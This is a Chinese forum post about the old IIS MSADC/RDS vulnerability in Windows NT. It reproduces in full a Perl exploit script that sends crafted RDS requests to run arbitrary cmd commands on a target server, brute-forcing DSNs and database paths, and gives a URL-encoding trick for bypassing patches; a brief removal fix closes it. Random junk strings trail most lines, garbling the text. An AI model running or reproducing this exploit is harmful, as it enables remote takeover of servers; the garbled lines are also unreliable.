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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) !^*I?9P  
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涉及程序: a>{b'X^LV  
Microsoft NT server |.zotEh  
HN*w(bROr  
描述: 'hM?J*m  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限  ^"d!(npw  
v|v^(P,o  
详细: JV#)?/a$z  
如果你没有时间读详细内容的话,就删除: 044*@a5f  
c:\Program Files\Common Files\System\Msadc\msadcs.dll {%;KkC8=R  
有关的安全问题就没有了。 jW-j+ WGSM  
Z 7M%}V%  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。  _,2P4  
Nl^{w'X0h  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 #j{!&4M  
关于利用ODBC远程漏洞的描述,请参看: H.ZmLB  
,~_)Cf#CB  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm cn4C K. ?  
G;%Pf9 o26  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 @Pc]qu  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp =Xc[EUi<;g  
U-#t&yjh#  
这里不再论述。 O} !L;?  
y'<juaw  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: 3=r8kh7,  
|ei?s1)  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset `[;b#.  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! 6_wf $(im  
$MmCh&V  
\ l +RX*  
#将下面这段保存为txt文件,然后: "perl -x 文件名" Pe !eID8  
i7[CqObzc  
#!perl .bYDj&]P{  
# &!{wbm@  
# MSADC/RDS 'usage' (aka exploit) script ~OXC6z  
# U$`)|/8  
# by rain.forest.puppy t_q`wKDE  
# 3?vasL  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me QJ ueU%|  
# beta test and find errors! cmIAWFj-)e  
Hize m!  
use Socket; use Getopt::Std; d/GP.d  
getopts("e:vd:h:XR", \%args); x hFQjV?V  
*My?l75  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; u|=G#y;3  
]8q5k5~  
if (!defined $args{h} && !defined $args{R}) { r'p;Nj.  
print qq~ ,0#5kc*X  
Usage: msadc.pl -h <host> { -d <delay> -X -v } jG0{>P#+  
-h <host> = host you want to scan (ip or domain) JqO#W1h~R|  
-d <seconds> = delay between calls, default 1 second TIV1?S  
-X = dump Index Server path table, if available gkuI!=  
-v = verbose +SmcZ^\OZ  
-e = external dictionary file for step 5 byv(:xk|'e  
[ed%"f  
Or a -R will resume a command session %TUljX K}  
! G%LYHx  
~; exit;} 0C}7=_?  
~4wbIE_r N  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; ;C%D+"l1g  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} hgE!) UE  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} 1WPDMLuN  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); :XMw="u=  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} hltH{4  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } Lrz>0_Q  
!b*lL#s,Y  
if (!defined $args{R}){ $ret = &has_msadc; ctOC.  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} S zOB{  
}}?L'Vby  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" A>$VkGo  
. "cmd /c "; :YB:)wV,P  
$in=<STDIN>; chomp $in; B:tST(  
$command="cmd /c " . $in ; I C9:&C[  
B7TA:K  
if (defined $args{R}) {&load; exit;} aT F}  
QzIK580%t  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; &{* [7Ad  
&try_btcustmr; }Xs=x6Mj  
j?6%=KuX<  
print "\nStep 2: Trying to make our own DSN..."; i6r%;ueLb  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; Xt /T0.I  
iLy }G7h  
print "\nStep 3: Trying known DSNs..."; w&v_#\T  
&known_dsn; 3skq%;%Wsk  
TeQWrm s  
print "\nStep 4: Trying known .mdbs..."; v|jBRKU99  
&known_mdb; E`>-+~ZUsk  
{so"xoA^c  
if (defined $args{e}){ K/G|MT)  
print "\nStep 5: Trying dictionary of DSN names..."; /yIkHb^c   
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } m4ovppC  
'oHtg @  
print "Sorry Charley...maybe next time?\n";  KEsMes(*  
exit; >  K,Q`sS  
au5 74tj  
############################################################################## G3 #c  
i}RxTmG<  
sub sendraw { # ripped and modded from whisker #:z.Br`  
sleep($delay); # it's a DoS on the server! At least on mine... L1.<LB^4'  
my ($pstr)=@_; A7-QOqST(  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || !yH&l6s  
die("Socket problems\n"); (I,PC*:  
if(connect(S,pack "SnA4x8",2,80,$target)){ j0o_``  
select(S); $|=1; 8;.WX  
print $pstr; my @in=<S>; R3&W.?C T  
select(STDOUT); close(S); uI-te~]  
return @in; "sf8~P9qy  
} else { die("Can't connect...\n"); }} ^Ebaq`{V\'  
x!MYIaZ7  
############################################################################## of8/~VO  
T\b e(@r  
sub make_header { # make the HTTP request tp_*U,  
my $msadc=<<EOT ]gkI:scPA  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 kwZ 8q-0  
User-Agent: ACTIVEDATA |>GtClL  
Host: $ip j,Qp*b#Qo  
Content-Length: $clen . 5|wy<  
Connection: Keep-Alive sBq @W4  
qJVW :$1q  
ADCClientVersion:01.06 xc8MOm  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 F^&_O*"  
6\g]Y  
--!ADM!ROX!YOUR!WORLD! zfO0+fMH  
Content-Type: application/x-varg znFa4  
Content-Length: $reqlen MaXgy|yB1  
r3/H_Z  
EOT V;~W,o!  
; $msadc=~s/\n/\r\n/g; =wPl;SDf!  
return $msadc;} ~DhYiOSo  
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############################################################################## %Ox*?l _  
?A2#V(4  
sub make_req { # make the RDS request 5X nA.?F^  
my ($switch, $p1, $p2)=@_; {G/4#r 2>  
my $req=""; my $t1, $t2, $query, $dsn; _%;$y5]v  
OYgD9T.8^  
if ($switch==1){ # this is the btcustmr.mdb query 3F[z]B  
$query="Select * from Customers where City=" . make_shell(); 1N1MD@C?P  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . 4{X5ZS?CkI  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} 5)2lZ(5.A#  
:Y0*P  
elsif ($switch==2){ # this is general make table query U=QV^I Qm  
$query="create table AZZ (B int, C varchar(10))"; =5oE|F%  
$dsn="$p1";} ,S2D/Y^>  
H{E223  
elsif ($switch==3){ # this is general exploit table query d5\w'@Di  
$query="select * from AZZ where C=" . make_shell(); c@~\ FUr  
$dsn="$p1";} 7z)Hq./3@  
BE:HO^-.1  
elsif ($switch==4){ # attempt to hork file info from index server ; GRSe  
$query="select path from scope()"; 7\rz*  
$dsn="Provider=MSIDXS;";} 7*M+bZ`x  
pz6fL=Xd  
elsif ($switch==5){ # bad query My76]\Psh  
$query="select"; n87B[R  
$dsn="$p1";} x;99[C!$  
+S5"4<  
$t1= make_unicode($query); \d2Ku10v[  
$t2= make_unicode($dsn); ; ob>$ _  
$req = "\x02\x00\x03\x00"; gb|C592R5C  
$req.= "\x08\x00" . pack ("S1", length($t1)); w{UVo1r:  
$req.= "\x00\x00" . $t1 ; C!]hu)E  
$req.= "\x08\x00" . pack ("S1", length($t2)); 35?et-=w  
$req.= "\x00\x00" . $t2 ; s|dcO  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; 0[7\p\Q  
return $req;} w [D9Q=  
^9%G7J:vGO  
############################################################################## tz)aQ6p\X  
R^<li;Km  
sub make_shell { # this makes the shell() statement CbVUz<  
return "'|shell(\"$command\")|'";} MVs@~=  
xJa  
############################################################################## 0g,;Yzm  
cclx$)X1X  
sub make_unicode { # quick little function to convert to unicode d0"Hu^]  
my ($in)=@_; my $out; %]h5\%@w  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } !<Ma9%uC{  
return $out;} 2)Grl;T]s  
(Gp/^[.%&  
############################################################################## TIbiw  
BRPvBs?Q,{  
sub rdo_success { # checks for RDO return success (this is kludge) %# ?)+8"l  
my (@in) = @_; my $base=content_start(@in); R7r` (c!  
if($in[$base]=~/multipart\/mixed/){ HJo&snT3  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} :$~)i?ge<5  
return 0;} 3'}(:X(  
"9jt2@<  
############################################################################## aJ}y|+Cj  
ARGtWW~:  
sub make_dsn { # this makes a DSN for us C}<j8a?  
my @drives=("c","d","e","f"); 3vfm$sx@  
print "\nMaking DSN: "; uPr'by  
foreach $drive (@drives) { 2w>WS#  
print "$drive: "; U$&G_&*0a  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . 0/S|h"-L  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" ;!q _+P  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); }A\s`H m  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; vxhs1vh  
return 0 if $2 eq "404"; # not found/doesn't exist Aw~ =U!  
if($2 eq "200") { rU=qr&f"B  
foreach $line (@results) { brx 7hI  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} }><Vc ouJ[  
} return 0;} Uoe;4ni  
?& qMC  
############################################################################## h.d-a/  
y3 {'s>O6  
sub verify_exists { umhg O.!  
my ($page)=@_; @E %:ALJ  
my @results=sendraw("GET $page HTTP/1.0\n\n"); T"xq^h1\  
return $results[0];} ? C1.g'}7  
8/F}vfKEN  
############################################################################## +!h~T5Ck  
k&wCa<Rs~R  
sub try_btcustmr { Z0uo. H@.N  
my @drives=("c","d","e","f"); }^U7NZn<"  
my @dirs=("winnt","winnt35","winnt351","win","windows"); %N$,1=0*  
D!Pv`wm  
foreach $dir (@dirs) { v W=$C  
print "$dir -> "; # fun status so you can see progress y.(Yh1  
foreach $drive (@drives) { iZ}Afj  
print "$drive: "; # ditto cH%qoHgx  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; Ezsb'cUa(  
$reqlenlen=length( "$reqlen" ); 'APtY;x^{  
$clen= 206 + $reqlenlen + $reqlen; bnHQvCO3$  
_<s[HGA`z  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); un([3r  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} a9]F.Jm  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} s.7\?(Lg  
r@b M3V_o  
##############################################################################  mo+zq~,M  
{9:[nqX  
sub odbc_error { B3|h$aKC  
my (@in)=@_; my $base; P'%#B&LZo  
my $base = content_start(@in); dO]N&'P7  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this R+{QZ'K.qg  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; tljZE)  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; <LL+\kfTZO  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ;w>Dqem  
return $in[$base+4].$in[$base+5].$in[$base+6];} vP6NIcWC3  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; t|-TG\Q X  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . (K9pr>le  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} \OPJ*/U  
0<tce  
############################################################################## ^{Wx\+*!  
hWc`4xdl  
sub verbose { aT|SKb`  
my ($in)=@_; (=&z:-52V  
return if !$verbose;  dpG l  
print STDOUT "\n$in\n";} >=Bl/0YH  
-KV)1kET  
############################################################################## sNB*S{   
(5CdA1|  
sub save { :kU#5Aj gK  
my ($p1, $p2, $p3, $p4)=@_; K/WnK:LU  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; :&SvjJR  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; p G|-<6WY  
close OUT;} ~EIK  
|Y|6`9;  
############################################################################## QAGR\~  
j IO2uTM~  
sub load { zplAH!s5''  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; 5SV w71 *  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); c{.y9P6  
@p=<IN>; close(IN); ByyvRc,v  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); m q#8 [D  
$target= inet_aton($ip) || die("inet_aton problems"); *<r\:g  
print "Resuming to $ip ..."; P+ ejyl,  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; hA=.${uIO  
if($p[1]==1) { WO;2=[#O;  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; lU?8<X  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; CgT5sk}  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); A-"2sp*t  
if (rdo_success(@results)){print "Success!\n";} YQ? "~[mL  
else { print "failed\n"; verbose(odbc_error(@results));}} h]6m+oPW  
elsif ($p[1]==3){ j(aok5:e  
if(run_query("$p[3]")){ e^!>W %.7Z  
print "Success!\n";} else { print "failed\n"; }} 6&oaxAp<s  
elsif ($p[1]==4){ <Wr n/%tL  
if(run_query($drvst . "$p[3]")){ I{nrOb1G(  
print "Success!\n"; } else { print "failed\n"; }} q,;8Ka )  
exit;} ! 2=m |,  
]?p 9)d=%<  
############################################################################## %Z~0vwY  
&VPfI  
sub create_table { (#e,tu  
my ($in)=@_; ]mzghH:E  
$reqlen=length( make_req(2,$in,"") ) - 28; Mo'6<"x  
$reqlenlen=length( "$reqlen" ); 9U]3B)h%m  
$clen= 206 + $reqlenlen + $reqlen; r..&6-%:N  
my @results=sendraw(make_header() . make_req(2,$in,"")); m!Y4+KTwD`  
return 1 if rdo_success(@results); mETGYkPUa  
my $temp= odbc_error(@results); verbose($temp); C[ma!he  
return 1 if $temp=~/Table 'AZZ' already exists/; <@.!\  
return 0;} \u4`6EYF?  
9 AWFjoXl"  
############################################################################## zrDcO~w  
=Ju%3ptH0  
sub known_dsn { 5,_DM  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go aHR+4m~)  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", w;b;rHAZ\  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", (e"\%p`  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); Wf!u?nH.5  
$y$E1A6h+  
foreach $dSn (@dsns) { 8*x/NaH /\  
print "."; \Gl>$5np  
next if (!is_access("DSN=$dSn")); O[Yc-4  
if(create_table("DSN=$dSn")){ F_I.=zQr  
print "$dSn successful\n"; ,DL%oQR  
if(run_query("DSN=$dSn")){ Cl>|*h+m  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { ZrNBkfe :  
print "Something's borked. Use verbose next time\n";}}} print "\n";} qV{iUtYt  
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############################################################################## `g}po%k  
@|2sF  
sub is_access { q<XleC  
my ($in)=@_; fK/|0@B8  
$reqlen=length( make_req(5,$in,"") ) - 28; >,6%Y3  
$reqlenlen=length( "$reqlen" ); :pJK Z2B,  
$clen= 206 + $reqlenlen + $reqlen; T)#e=WcP]  
my @results=sendraw(make_header() . make_req(5,$in,"")); b3NEYn  
my $temp= odbc_error(@results); .;J6)h  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); vu@@!cT6e  
return 0;} oUd R,;h9  
)BeB xo7lv  
############################################################################## -|DBO0q  
Ir6(EIwx0  
sub run_query { jvQpf d  
my ($in)=@_; Vi=u}(*  
$reqlen=length( make_req(3,$in,"") ) - 28; ()MUyW"S#`  
$reqlenlen=length( "$reqlen" ); L3;cAb/  
$clen= 206 + $reqlenlen + $reqlen; /{R>o0oW  
my @results=sendraw(make_header() . make_req(3,$in,"")); Xmny(j)g  
return 1 if rdo_success(@results); d-{1>\-_  
my $temp= odbc_error(@results); verbose($temp); +\x}1bNS%j  
return 0;} $y_P14  
2{|mL`$04<  
############################################################################## DCP B9:u  
Lk lD^AJA  
sub known_mdb { 'H8b+  
my @drives=("c","d","e","f","g"); >F5E^DY  
my @dirs=("winnt","winnt35","winnt351","win","windows"); ^k2g60]  
my $dir, $drive, $mdb; ) :VF^"  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; Y52TC@'  
5~FXy{ZIH  
# this is sparse, because I don't know of many ZH)thd9^b  
my @sysmdbs=( "\\catroot\\icatalog.mdb", Ba}<X;B}  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", gP2<L5&Z,  
"\\system32\\certmdb.mdb", d3;Sy`.  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% z1m-t# v:  
6f*QUw~  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", F\2<q$Zn+  
"\\cfusion\\cfapps\\forums\\forums_.mdb", 06]%$ -j  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", exxH0^  
"\\cfusion\\cfapps\\security\\realm_.mdb", +JejnG0  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", Ake$M^Bz  
"\\cfusion\\database\\cfexamples.mdb", Yln[ZmK9g  
"\\cfusion\\database\\cfsnippets.mdb", G'T: l("l  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", jaL#  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", /k.?x]Ab  
"\\cfusion\\brighttiger\\database\\cleam.mdb", ^&7gUH*v  
"\\cfusion\\database\\smpolicy.mdb", '/F%  ff  
"\\cfusion\\database\cypress.mdb", @/8O@^  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", E$C0\O!7  
"\\website\\cgi-win\\dbsample.mdb", r7+Ytr  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", G%MdZg&i  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" Z8I0v$LjR  
); #these are just B=)tq.Q7  
foreach $drive (@drives) { ih=O#f|  
foreach $dir (@dirs){ 3H`r|R  
foreach $mdb (@sysmdbs) { gxc8O).5vY  
print "."; "ph[)/u;  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ )v+\1  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; UT%?3}*u"  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ .#{m1mr  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; xM:9XhH1  
} else { print "Something's borked. Use verbose next time\n"; }}}}} O ]!/fZ;(  
M*Ri1   
foreach $drive (@drives) { wBz5_ OFVw  
foreach $mdb (@mdbs) { m't8\fo^w  
print "."; rm%MQmF  
if(create_table($drv . $drive . $dir . $mdb)){ 534DAhpD=.  
print "\n" . $drive . $dir . $mdb . " successful\n"; ZC97Z sE  
if(run_query($drv . $drive . $dir . $mdb)){ cD'|zH]  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; 8,L)=3m-  
} else { print "Something's borked. Use verbose next time\n"; }}}} $T7(AohR  
} H`OJN .  
(9KiIRN   
############################################################################## TJ>$ ~9&Sy  
: ~Ppv5W.  
sub hork_idx { i#%!J:_=  
print "\nAttempting to dump Index Server tables...\n"; ^WUG\@B  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; e"cvo(}g  
$reqlen=length( make_req(4,"","") ) - 28; '_ l5Br73=  
$reqlenlen=length( "$reqlen" ); ~=t K17i  
$clen= 206 + $reqlenlen + $reqlen; r*g<A2g%  
my @results=sendraw2(make_header() . make_req(4,"","")); /DX6Hkkj%  
if (rdo_success(@results)){ "b[w%KYyl  
my $max=@results; my $c; my %d; O4oI&i 7  
for($c=19; $c<$max; $c++){ nEgYypwr  
$results[$c]=~s/\x00//g; 4Un%p7Y~  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; ;3&HZq6Z (  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; 15_Px9  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; +:&|]$8<  
$d{"$1$2"}="";} 'wjL7P I  
foreach $c (keys %d){ print "$c\n"; } r:5u(2  
} else {print "Index server doesn't seem to be installed.\n"; }} q|QkJr <  
J3y4 D}  
############################################################################## <_#a%+5d  
}CQ)W1mO"  
sub dsn_dict { .$zo_~ mR  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); &+")~2 +  
while(<IN>){ H'?dsc  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; Cznp(z  
next if (!is_access("DSN=$dSn")); }3=^Ik;x  
if(create_table("DSN=$dSn")){ 1q/Q@O  
print "$dSn successful\n"; )#v0.pE  
if(run_query("DSN=$dSn")){ A Eo  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {  %Krf,H  
print "Something's borked. Use verbose next time\n";}}} bG/[mZpRT  
print "\n"; close(IN);} j7qGZ"8ak  
N*'d]P2P`J  
############################################################################## @i(;}rx  
{7^D!lis  
sub sendraw2 { # ripped and modded from whisker p9gX$-!pbG  
sleep($delay); # it's a DoS on the server! At least on mine... \*\)zj*r  
my ($pstr)=@_; W+BHt{  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || Fjw+D1q.  
die("Socket problems\n"); Y(R .e7]  
if(connect(S,pack "SnA4x8",2,80,$target)){ lj 2OOU{  
print "Connected. Getting data";  K2D, *w  
open(OUT,">raw.out"); my @in; =6xxZy[  
select(S); $|=1; print $pstr; wY*tq{7  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} aK]H(F2#  
close(OUT); select(STDOUT); close(S); return @in; ]L_h3Xz\X  
} else { die("Can't connect...\n"); }} B8NMo5a  
[ Mp8"  
############################################################################## c}mWAZ=wF  
1Wb_>`;  
sub content_start { # this will take in the server headers h[oI/X  
my (@in)=@_; my $c; mH 9_HK.C  
for ($c=1;$c<500;$c++) { A;7At!kK  
if($in[$c] =~/^\x0d\x0a/){ tjbI*Pw7(  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } Bn5$TiTcl  
else { return $c+1; }}} J'@`+veE  
return -1;} # it should never get here actually ,rWej;CzN  
 4_d'Uh&]  
############################################################################## 6.k>J{GG  
!T~C=,;  
sub funky { TSUT3'&~p  
my (@in)=@_; my $error=odbc_error(@in); +t*Ks_V,*  
if($error=~/ADO could not find the specified provider/){ z<,-:=BC"  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; T*qSk!  
exit;} %Mr^~7nN  
if($error=~/A Handler is required/){ wD5fm5r=  
print "\nServer has custom handler filters (they most likely are patched)\n"; h5}:>yc  
exit;} =v7%IRP5  
if($error=~/specified Handler has denied Access/){ L]{1@~E:q  
print "\nServer has custom handler filters (they most likely are patched)\n"; M`tNYs]V  
exit;}} NH;.!x q:  
rf YFS96  
############################################################################## &nfGRb  
L[O.]2  
sub has_msadc { -HUlB|Q8r  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); zA*I=3E(  
my $base=content_start(@results); 3oMhsQz~z  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); dr]Pns9  
return 0;} hYSf;cG}A  
Qb?e A  
######################## st wxF?\NS  
1hW"#>f7  
M7\yEi"*  
解决方案: MT{ovDA].  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll yR[htD`  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 1XJLGMW,  
Ms14]M[\  
拿出来充数 哈哈
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